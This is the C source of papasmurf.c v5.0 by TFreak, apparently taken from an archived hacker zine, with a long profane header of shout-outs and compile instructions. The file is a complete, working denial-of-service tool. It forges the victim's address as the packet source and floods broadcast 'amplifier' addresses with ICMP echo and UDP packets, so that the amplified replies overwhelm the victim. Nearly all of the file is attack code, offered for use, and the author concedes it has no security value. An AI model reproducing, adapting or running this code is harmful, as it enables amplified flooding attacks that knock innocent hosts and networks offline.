home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / Happle09.sit / Happle#08 / Files / papasmurf.c < prev   
C/C++ Source or Header  |  1999-02-25  |  14KB  |  553 lines

  1.  
  2.  
  3. /*
  4.  *  (papa)smurf.c v5.0 by TFreak - http://www.rootshell.com
  5.  *
  6.  *  A year ago today I made what remains the questionable decision of 
  7.  *  releasing my program 'smurf', a program which uses broadcast "amplifiers"
  8.  *  to turn an icmp flood into an icmp holocaust, into the hands of packet
  9.  *  monkeys, script kiddies and all round clueless idiots alike.  Nine months
  10.  *  following, a second program 'fraggle', smurfs udp cousin, was introducted
  11.  *  into their Denial of Service orgy.  This brings us to today, July 28,
  12.  *  1998, one year after my first "mistake".  The result, proof that history
  13.  *  does repeat itself and a hybrid of the original programs.
  14.  *
  15.  *  First may I say that I in no way take credit for "discovering" this.
  16.  *  There is no doubt in my mind that this idea was invisioned long before
  17.  *  I was even sperm -- I merely decided to do something about it.  Secondly,
  18.  *  if you want to hold me personally responsible for turning the internet
  19.  *  into a larger sesspool of crap than it already is, then may I take this 
  20.  *  opportunity to deliver to you a message of the utmost importance -- "Fuck
  21.  *  you".  If I didn't write it, someone else would have.
  22.  *
  23.  *  I must admit that there really is no security value for me releasing this
  24.  *  new version.  In fact, my goals for the version are quite silly. First,
  25.  *  I didn't like the way my old code looked, it was ugly to look at and it
  26.  *  did some stupid unoptimized things.  Second, it's smurfs one year 
  27.  *  birthday -- Since I highly doubt anyone would have bought it a cake, I
  28.  *  thought I would do something "special" to commemorate the day.
  29.  *
  30.  *  Hmm, I am starting to see why I am known for my headers (wage eats
  31.  *  playdough!).
  32.  *
  33.  *  Well, I guess this wouldn't be the same if I did not include some sort
  34.  *  of shoutouts, so here goes...
  35.  *
  36.  *  A hearty handshake to...
  37.  *
  38.  *    o  MSofty, pbug, Kain -- No matter which path each of you decides to 
  39.  *       take in the future, I will always look back upon these days as one 
  40.  *       of the most enjoyable, memorable and thought-provoking experiences 
  41.  *       of my life.  I have nothing but the highest degree of respect for 
  42.  *       each of you, and I value your friendship immensely.  Here's to 
  43.  *       living, learning and laughing -- Cheers gentlemen. --Dan
  44.  *    o  Hi JoJo!
  45.  *    o  morbid and his grandam barbiegirl gino styles, yo.
  46.  *    o  The old #havok crew.
  47.  *    o  Pharos,silph,chris@unix.org,Viola,Vonne,Dianora,fyber,silitek,
  48.  *       brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige,
  49.  *       RedFemme,nici,everlast,and everyone else I know and love.
  50.  *
  51.  *  A hearty enema using 15.0mol/L HCl to...
  52.  *    
  53.  *    o  #Conflict.  Perhaps you are just my scapegoat of agression, but you
  54.  *       all really need to stop flooding efnet servers/taking over irc 
  55.  *       channels/mass owning networks running old qpoppers and get a
  56.  *       fucking life.
  57.  *    o  BR.  It wouldn't be the same without you in here, but to be honest
  58.  *       you really aren't worth the space in the already way-to-bloated
  59.  *       header, nor the creative energy of me coming up with an intricate
  60.  *       bash that you will never understand anyway.  Shrug, hatred disguises
  61.  *       itself as apathy with time.
  62.  *
  63.  *  I feel like I'm writing a fucking essay here...
  64.  *
  65.  *  To compile: "gcc -DLINUX -o smurf5 papasmurf.c" if your LINUXish.
  66.  *                                 or just
  67.  *              "gcc -o smurf5 papasmurf.c" if your BSDish.
  68.  *  
  69.  *  Old linux kernels won't have BSD header support, so this may not compile.
  70.  *  If you wish a linux-only version, do it yourself, or mail 
  71.  *  tfreak@jaded.net, and I might lend you mine.
  72.  *
  73.  *  And most importantly, please don't abuse this.  If you are going to do
  74.  *  anything with this code, learn from it.
  75.  *
  76.  *  I remain,
  77.  *
  78.  *  TFreak.
  79.  *
  80.  */
  81.  
  82. /* End of Hideously Long Header */
  83.                             
  84. #include <stdio.h>
  85. #include <netdb.h>
  86. #include <sys/types.h>
  87. #include <sys/socket.h>
  88. #include <netinet/in.h>
  89. #include <netinet/in_systm.h>
  90. #include <arpa/inet.h>
  91. #include <sys/stat.h>
  92. #include <fcntl.h>
  93. #include <unistd.h>
  94. #include <stdlib.h>
  95. #include <string.h>
  96. #include <ctype.h>
  97. #include <time.h>
  98. #ifdef LINUX 
  99. #define __FAVOR_BSD                /* should be __FAVOUR_BSD ;) */
  100. #ifndef _USE_BSD
  101. #define _USE_BSD
  102. #endif
  103. #endif
  104. #include <netinet/ip.h>
  105. #include <netinet/ip_icmp.h>
  106. #include <netinet/udp.h>
  107.  
  108. #ifdef LINUX
  109. #define FIX(n)     htons(n)
  110. #else
  111. #define FIX(n)     (n)
  112. #endif
  113.  
  114. struct smurf_t
  115. {
  116.     struct sockaddr_in sin;            /* socket prot structure */
  117.     int s;                    /* socket */
  118.     int udp, icmp;                /* icmp, udp booleans */
  119.     int rnd;                    /* Random dst port boolean */
  120.     int psize;                    /* packet size */
  121.     int num;                    /* number of packets to send */
  122.     int delay;                    /* delay between (in ms) */
  123.     u_short dstport[25+1];            /* dest port array (udp) */
  124.     u_short srcport;                /* source port (udp) */
  125.     char *padding;                /* junk data */
  126. };
  127.  
  128. /* function prototypes */
  129. void usage (char *);
  130. u_long resolve (char *);
  131. void getports (struct smurf_t *, char *);
  132. void smurficmp (struct smurf_t *, u_long);
  133. void smurfudp (struct smurf_t *, u_long, int);
  134. u_short in_chksum (u_short *, int);
  135.  
  136.  
  137. int 
  138. main (int argc, char *argv[])
  139. {
  140.     struct smurf_t sm;
  141.     struct stat st;
  142.     u_long bcast[1024];
  143.     char buf[32];
  144.     int c, fd, n, cycle, num = 0, on = 1; 
  145.     FILE *bcastfile;
  146.  
  147.     /* shameless self promotion banner */
  148.     fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");
  149.  
  150.     if (argc < 3) 
  151.         usage(argv[0]);
  152.  
  153.     /* set defaults */
  154.     memset((struct smurf_t *) &sm, 0, sizeof(sm));
  155.     sm.icmp = 1;
  156.     sm.psize = 64;
  157.     sm.num = 0;
  158.     sm.delay = 10000;
  159.     sm.sin.sin_port = htons(0);
  160.     sm.sin.sin_family = AF_INET;
  161.     sm.srcport = 0;
  162.     sm.dstport[0] = 7;
  163.  
  164.     /* resolve 'source' host, quit on error */
  165.     sm.sin.sin_addr.s_addr = resolve(argv[1]);
  166.  
  167.     /* open the broadcast file */
  168.     if ((bcastfile = fopen(argv[2], "r")) == NULL)
  169.     {
  170.         perror("Opening broadcast file");
  171.         exit(-1);
  172.     }
  173.  
  174.     /* parse out options */
  175.     optind = 3;
  176.     while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
  177.     {
  178.     switch (c)
  179.     {
  180.         /* random dest ports */
  181.         case 'r':
  182.         sm.rnd = 1;
  183.         break;
  184.  
  185.         /* random src/dest ports */
  186.         case 'R':
  187.         sm.rnd = 1;
  188.                 sm.srcport = 0;
  189.         break;
  190.  
  191.         /* number of packets to send */
  192.         case 'n':
  193.         sm.num = atoi(optarg);
  194.         break;
  195.  
  196.         /* usleep between packets (in ms) */
  197.         case 'd':
  198.         sm.delay = atoi(optarg);
  199.         break;
  200.  
  201.         /* multiple ports */
  202.         case 'p':
  203.         if (strchr(optarg, ',')) 
  204.             getports(&sm, optarg);
  205.         else
  206.             sm.dstport[0] = (u_short) atoi(optarg);
  207.         break;
  208.  
  209.         /* specify protocol */
  210.         case 'P':
  211.         if (strcmp(optarg, "icmp") == 0)
  212.         {
  213.             /* this is redundant */
  214.             sm.icmp = 1;
  215.             break;
  216.         }
  217.         if (strcmp(optarg, "udp") == 0)
  218.         {
  219.             sm.icmp = 0;
  220.             sm.udp = 1;
  221.             break;
  222.         }
  223.         if (strcmp(optarg, "both") == 0)
  224.         {
  225.             sm.icmp = 1;
  226.             sm.udp = 1;
  227.             break;
  228.         }
  229.  
  230.         puts("Error: Protocol must be icmp, udp or both");
  231.         exit(-1);
  232.  
  233.         /* source port */
  234.         case 's':
  235.         sm.srcport = (u_short) atoi(optarg);
  236.         break;
  237.  
  238.         /* specify packet size */
  239.         case 'S':
  240.         sm.psize = atoi(optarg);
  241.         break;
  242.  
  243.         /* filename to read padding in from */
  244.         case 'f':
  245.         /* open and stat */
  246.         if ((fd = open(optarg, O_RDONLY)) == -1)
  247.         {
  248.             perror("Opening packet data file");
  249.             exit(-1);
  250.         }
  251.         if (fstat(fd, &st) == -1)
  252.         {
  253.             perror("fstat()");
  254.             exit(-1);
  255.         }
  256.  
  257.         /* malloc and read */
  258.         sm.padding = (char *) malloc(st.st_size);
  259.         if (read(fd, sm.padding, st.st_size) < st.st_size)
  260.         {
  261.             perror("read()");
  262.             exit(-1);
  263.         }
  264.  
  265.         sm.psize = st.st_size;
  266.         close(fd);
  267.         break;
  268.  
  269.             default:
  270.                 usage(argv[0]);
  271.         }
  272.     } /* end getopt() loop */
  273.         
  274.     /* create packet padding if neccessary */
  275.     if (!sm.padding)
  276.     {
  277.     sm.padding = (char *) malloc(sm.psize);
  278.     memset(sm.padding, 0, sm.psize);
  279.     }
  280.  
  281.     /* create the raw socket */
  282.     if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  283.     {
  284.     perror("Creating raw socket (are you root?)");
  285.     exit(-1);
  286.     }
  287.  
  288.     /* Include IP headers ourself (thanks anyway though) */
  289.     if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
  290.     {
  291.     perror("setsockopt()");
  292.     exit(-1);
  293.     }
  294.  
  295.     /* read in our broadcasts and store them in our array */
  296.     while (fgets(buf, sizeof buf, bcastfile) != NULL)
  297.     {
  298.     char *p;
  299.     int valid;
  300.  
  301.         /* skip over comments/blank lines */
  302.         if (buf[0] == '#' || buf[0] == '\n') continue;
  303.  
  304.         /* get rid of newline */ 
  305.         buf[strlen(buf) - 1] = '\0';
  306.  
  307.         /* check for valid address */
  308.         for (p = buf, valid = 1; *p != '\0'; p++)
  309.         {
  310.             if ( ! isdigit(*p) && *p != '.' ) 
  311.             {
  312.                 fprintf(stderr, "Skipping invalid ip %s\n", buf);
  313.                 valid = 0;
  314.                 break;
  315.             }
  316.         }
  317.  
  318.         /* if valid address, copy to our array */
  319.         if (valid)
  320.         {
  321.         bcast[num] = inet_addr(buf);
  322.             num++;
  323.         if (num == 1024)
  324.         break;
  325.         }
  326.     } /* end bcast while loop */
  327.  
  328.     /* seed our random function */
  329.     srand(time(NULL) * getpid());
  330.  
  331.     /* wee.. */
  332.     for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
  333.     {
  334.     if (sm.icmp)
  335.         smurficmp(&sm, bcast[cycle]);
  336.  
  337.     if (sm.udp)
  338.     {
  339.         int x;
  340.         for (x = 0; sm.dstport[x] != 0; x++)
  341.             smurfudp(&sm, bcast[cycle], x);
  342.     }
  343.  
  344.     /* quick nap */
  345.     usleep(sm.delay);
  346.  
  347.     /* cosmetic psychadelic dots */
  348.     if (n % 50 == 0)
  349.     {
  350.         printf(".");
  351.         fflush(stdout);
  352.     }
  353.  
  354.     cycle = (cycle + 1) % num;
  355.     }
  356.  
  357.     exit(0);
  358. }
  359.  
  360.  
  361. void 
  362. usage (char *s)
  363. {
  364.     fprintf(stderr,
  365.             "usage: %s <source host> <broadcast file> [options]\n"
  366.         "\n"
  367.         "Options\n"
  368.         "-p:    Comma separated list of dest ports (default 7)\n"
  369.         "-r:    Use random dest ports\n"
  370.         "-R:    Use random src/dest ports\n"
  371.         "-s:    Source port (0 for random (default))\n"
  372.         "-P:    Protocols to use.  Either icmp, udp or both\n"
  373.         "-S:    Packet size in bytes (default 64)\n"
  374.         "-f:    Filename containg packet data (not needed)\n"
  375.         "-n:    Num of packets to send (0 is continuous (default))\n"
  376.         "-d:    Delay inbetween packets (in ms) (default 10000)\n"
  377.         "\n", s);
  378.     exit(-1);
  379. }
  380.  
  381.  
  382. u_long 
  383. resolve (char *host)
  384. {
  385.     struct in_addr in;
  386.     struct hostent *he;
  387.  
  388.     /* try ip first */
  389.     if ((in.s_addr = inet_addr(host)) == -1)
  390.     {
  391.     /* nope, try it as a fqdn */
  392.     if ((he = gethostbyname(host)) == NULL)
  393.     {
  394.         /* can't resolve, bye. */
  395.             herror("Resolving victim host");
  396.         exit(-1);
  397.     }
  398.  
  399.     memcpy( (caddr_t) &in, he->h_addr, he->h_length);
  400.     }
  401.  
  402.     return(in.s_addr);
  403. }
  404.     
  405.  
  406. void 
  407. getports (struct smurf_t *sm, char *p)
  408. {
  409.     char tmpbuf[16];
  410.     int n, i;
  411.  
  412.     for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
  413.     {
  414.     if (*p == ',')
  415.     {
  416.             tmpbuf[i] = '\0';
  417.         sm->dstport[n] = (u_short) atoi(tmpbuf);
  418.         n++; i = -1;
  419.         continue;
  420.     }
  421.  
  422.     tmpbuf[i] = *p;
  423.     }
  424.     tmpbuf[i] = '\0';
  425.     sm->dstport[n] = (u_short) atoi(tmpbuf);
  426.     sm->dstport[n + 1] = 0;
  427. }
  428.  
  429.  
  430. void
  431. smurficmp (struct smurf_t *sm, u_long dst)
  432. {
  433.     struct ip *ip;
  434.     struct icmp *icmp;
  435.     char *packet;
  436.  
  437.     int pktsize = sizeof(struct ip) + sizeof(struct icmp) + sm->psize;
  438.  
  439.     packet = malloc(pktsize);
  440.     ip = (struct ip *) packet;
  441.     icmp = (struct icmp *) (packet + sizeof(struct ip));
  442.  
  443.     memset(packet, 0, pktsize);
  444.  
  445.     /* fill in IP header */
  446.     ip->ip_v = 4;
  447.     ip->ip_hl = 5;
  448.     ip->ip_tos = 0;
  449.     ip->ip_len = FIX(pktsize);
  450.     ip->ip_ttl = 255;
  451.     ip->ip_off = 0;
  452.     ip->ip_id = FIX( getpid() );
  453.     ip->ip_p = IPPROTO_ICMP;
  454.     ip->ip_sum = 0;
  455.     ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
  456.     ip->ip_dst.s_addr = dst;
  457.  
  458.     /* fill in ICMP header */
  459.     icmp->icmp_type = ICMP_ECHO;
  460.     icmp->icmp_code = 0;
  461.     icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));    /* thx griffin */
  462.  
  463.     /* send it on its way */
  464.     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
  465.         sizeof(struct sockaddr)) == -1)
  466.     {
  467.     perror("sendto()");
  468.     exit(-1);
  469.     }
  470.  
  471.     free(packet);                    /* free willy! */
  472. }
  473.  
  474.  
  475. void
  476. smurfudp (struct smurf_t *sm, u_long dst, int n)
  477. {
  478.     struct ip *ip;
  479.     struct udphdr *udp;
  480.     char *packet, *data;
  481.  
  482.     int pktsize = sizeof(struct ip) + sizeof(struct udphdr) + sm->psize;
  483.  
  484.     packet = (char *) malloc(pktsize);
  485.     ip = (struct ip *) packet;
  486.     udp = (struct udphdr *) (packet + sizeof(struct ip));
  487.     data = (char *) (packet + sizeof(struct ip) + sizeof(struct udphdr));
  488.  
  489.     memset(packet, 0, pktsize);
  490.     if (*sm->padding)
  491.         memcpy((char *)data, sm->padding, sm->psize);
  492.  
  493.     /* fill in IP header */
  494.     ip->ip_v = 4;
  495.     ip->ip_hl = 5;
  496.     ip->ip_tos = 0;
  497.     ip->ip_len = FIX(pktsize);
  498.     ip->ip_ttl = 255;
  499.     ip->ip_off = 0;
  500.     ip->ip_id = FIX( getpid() );
  501.     ip->ip_p = IPPROTO_UDP;
  502.     ip->ip_sum = 0;
  503.     ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
  504.     ip->ip_dst.s_addr = dst;
  505.  
  506.     /* fill in UDP header */
  507.     if (sm->srcport) udp->uh_sport = htons(sm->srcport);
  508.     else udp->uh_sport = htons(rand());
  509.     if (sm->rnd) udp->uh_dport = htons(rand());
  510.     else udp->uh_dport = htons(sm->dstport[n]);
  511.     udp->uh_ulen = htons(sizeof(struct udphdr) + sm->psize);
  512. //    udp->uh_sum = in_chksum((u_short *)udp, sizeof(udp));
  513.  
  514.     /* send it on its way */
  515.     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
  516.         sizeof(struct sockaddr)) == -1)
  517.     {
  518.     perror("sendto()");
  519.     exit(-1);
  520.     }
  521.  
  522.     free(packet);                /* free willy! */
  523. }
  524.  
  525.  
  526. u_short
  527. in_chksum (u_short *addr, int len)
  528. {
  529.     register int nleft = len;
  530.     register u_short *w = addr;
  531.     register int sum = 0;
  532.     u_short answer = 0;
  533.  
  534.     while (nleft > 1) 
  535.     {
  536.         sum += *w++;
  537.         nleft -= 2;
  538.     }
  539.  
  540.     if (nleft == 1) 
  541.     {
  542.         *(u_char *)(&answer) = *(u_char *)w;
  543.         sum += answer;
  544.     }
  545.  
  546.     sum = (sum >> 16) + (sum + 0xffff);
  547.     sum += (sum >> 16);
  548.     answer = ~sum;
  549.     return(answer);
  550. }
  551.  
  552. /* EOF */
  553.